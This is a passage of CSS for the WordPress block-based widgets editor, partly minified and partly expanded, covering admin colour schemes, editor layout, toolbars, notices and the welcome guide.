.block-editor-block-toolbar{height:100%;padding-top:15px}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{border-left:none}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.edit-widgets-header__navigable-toolbar-wrapper{align-items:center;display:flex;flex-shrink:2;justify-content:center;overflow:hidden;padding-left:8px;padding-right:16px}.edit-widgets-header__title{font-size:20px;margin:0 0 0 20px;padding:0}.edit-widgets-header__actions{align-items:center;display:flex;gap:4px;padding-left:16px}@media (min-width:600px){.edit-widgets-header__actions{gap:8px}}.edit-widgets-header-toolbar{gap:8px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{height:36px;min-width:36px;padding:6px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{background:#1e1e1e}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{display:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:12px;padding-right:12px}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{content:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.edit-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.components-panel__header.edit-widgets-sidebar__panel-tabs{padding-right:0}.edit-widgets-widget-areas__top-container{display:flex;padding:16px}.edit-widgets-widget-areas__top-container .block-editor-block-icon{margin-left:16px}.edit-widgets-notices__snackbar{bottom:20px;left:0;padding-left:16px;padding-right:16px;position:fixed;right:0}@media (min-width:783px){.edit-widgets-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-widgets-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-widgets-notices__snackbar{right:160px}}.folded .edit-widgets-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-widgets-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-widgets-notices__snackbar{right:0!important}.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.edit-widgets-layout__inserter-panel{display:flex;flex-direction:column;height:100%}.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{overflow:hidden}.edit-widgets-layout__inserter-panel-header{display:flex;justify-content:flex-end;padding-left:8px;padding-top:8px}.edit-widgets-layout__inserter-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-widgets-layout__inserter-panel-content{height:100%}}.edit-widgets-welcome-guide{width:312px}.edit-widgets-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-widgets-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-widgets-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-widgets-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-widgets-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-widgets-block-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;position:relative}.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{display:flex;flex-direction:column;flex-grow:1}.edit-widgets-block-editor .edit-widgets-main-block-list{height:100%}.edit-widgets-block-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{padding:6px}.edit-widgets-editor__list-view-panel{display:flex;flex-direction:column;height:100%;min-width:350px}.edit-widgets-editor__list-view-panel-content{height:calc(100% - 44px);overflow-y:auto;padding:8px}.edit-widgets-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:4px;padding-right:16px}body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{background:#fff}body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{display:none}body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.blocks-widgets-container,.components-modal__frame{box-sizing:border-box}.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{box-sizing:inherit}@media (min-width:600px){.blocks-widgets-container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.blocks-widgets-container{min-height:calc(100vh - 32px)}}.blocks-widgets-container .interface-interface-skeleton__content{background-color:#f0f0f0}.blocks-widgets-container .editor-styles-wrapper{margin:auto;max-width:700px}.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{display:none}.js .widgets-php .notice{display:none!important}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-panel__header.interface-complementary-area-header__small{
  background:#fff;
  padding-left:4px;
}
.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
@media (min-width:782px){
  .components-panel__header.interface-complementary-area-header__small{
    display:none;
  }
}

.interface-complementary-area-header{
  background:#fff;
  padding-left:4px;
}
.interface-complementary-area-header .components-button.has-icon{
  display:none;
  margin-right:auto;
}
.interface-complementary-area-header .components-button.has-icon~.components-button{
  margin-right:0;
}
@media (min-width:782px){
  .interface-complementary-area-header .components-button.has-icon{
    display:flex;
  }
  .components-panel__header+.interface-complementary-area-header{
    margin-top:0;
  }
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
  top:48px;
}
@media (min-width:782px){
  .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
    top:0;
  }
}
.interface-complementary-area p:not(.components-base-control__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:10px;
  right:auto;
  top:auto;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-right:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container{
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  left:0;
  max-height:100%;
  position:fixed;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    right:160px;
  }
}
.folded .interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    right:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  right:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
    width:auto;
  }
  .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{
    z-index:90;
  }
}

.interface-interface-skeleton__sidebar{
  overflow:auto;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    border-right:1px solid #e0e0e0;
  }
  .interface-interface-skeleton__secondary-sidebar{
    border-left:1px solid #e0e0e0;
  }
}

.interface-interface-skeleton__header{
  border-bottom:1px solid #e0e0e0;
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  position:absolute;
  right:0;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-right:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-more-menu-dropdown{
  margin-right:-4px;
}
.interface-more-menu-dropdown .components-button{
  padding:0 2px;
  width:auto;
}
@media (min-width:600px){
  .interface-more-menu-dropdown{
    margin-right:0;
  }
  .interface-more-menu-dropdown .components-button{
    padding:0 4px;
  }
}

.interface-more-menu-dropdown__content .components-popover__content{
  min-width:300px;
}
@media (min-width:480px){
  .interface-more-menu-dropdown__content .components-popover__content{
    max-width:480px;
  }
}
.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{
  padding:0;
}

.components-popover.interface-more-menu-dropdown__content{
  z-index:99998;
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.wp-block[data-type="core/widget-area"]{
  margin-left:auto;
  margin-right:auto;
  max-width:700px;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{
  background:#fff;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  height:48px;
  margin:0;
  position:relative;
  transform:translateZ(0);
  z-index:1;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{
  background:#fff;
}
.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{
  position:relative;
  width:auto;
}
.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{
  max-width:100%;
}
.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{
  padding:0;
}

.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{
  margin:0;
  padding:0;
}
.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{
  margin-top:-48px;
  min-height:32px;
  padding:72px 16px 16px;
}

.wp-block-widget-area__highlight-drop-zone{
  outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color);
}

body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{
  pointer-events:none;
}

.edit-widgets-error-boundary{
  box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,-.1px 11.5px 16.4px -.5px #00000026;
  margin:60px auto auto;
  max-width:780px;
  padding:20px;
}

.edit-widgets-header{
  align-items:center;
  background:#fff;
  display:flex;
  height:60px;
  justify-content:space-between;
  overflow:auto;
}
@media (min-width:600px){
  .edit-widgets-header{
    overflow:visible;
  }
}
.edit-widgets-header .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{
  border-left:none;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}

.edit-widgets-header__navigable-toolbar-wrapper{
  align-items:center;
  display:flex;
  flex-shrink:2;
  justify-content:center;
  overflow:hidden;
  padding-left:8px;
  padding-right:16px;
}

.edit-widgets-header__title{
  font-size:20px;
  margin:0 0 0 20px;
  padding:0;
}

.edit-widgets-header__actions{
  align-items:center;
  display:flex;
  gap:4px;
  padding-left:16px;
}
@media (min-width:600px){
  .edit-widgets-header__actions{
    gap:8px;
  }
}

.edit-widgets-header-toolbar{
  gap:8px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{
  height:36px;
  min-width:36px;
  padding:6px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{
  background:#1e1e1e;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{
  display:none;
}

.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
    padding-left:12px;
    padding-right:12px;
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{
  content:none;
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{
  transition:transform .2s cubic-bezier(.165, .84, .44, 1);
}
@media (prefers-reduced-motion:reduce){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{
  transform:rotate(-45deg);
}

.edit-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.components-panel__header.edit-widgets-sidebar__panel-tabs{
  padding-right:0;
}

.edit-widgets-widget-areas__top-container{
  display:flex;
  padding:16px;
}
.edit-widgets-widget-areas__top-container .block-editor-block-icon{
  margin-left:16px;
}

.edit-widgets-notices__snackbar{
  bottom:20px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}
@media (min-width:783px){
  .edit-widgets-notices__snackbar{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-widgets-notices__snackbar{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-widgets-notices__snackbar{
    right:160px;
  }
}
.folded .edit-widgets-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .folded .edit-widgets-notices__snackbar{
    right:36px;
  }
}

body.is-fullscreen-mode .edit-widgets-notices__snackbar{
  right:0 !important;
}

.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.edit-widgets-layout__inserter-panel{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{
  overflow:hidden;
}

.edit-widgets-layout__inserter-panel-header{
  display:flex;
  justify-content:flex-end;
  padding-left:8px;
  padding-top:8px;
}

.edit-widgets-layout__inserter-panel-content{
  height:calc(100% - 44px);
}
@media (min-width:782px){
  .edit-widgets-layout__inserter-panel-content{
    height:100%;
  }
}

.edit-widgets-welcome-guide{
  width:312px;
}
.edit-widgets-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-widgets-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-widgets-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-widgets-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-widgets-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-widgets-block-editor{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
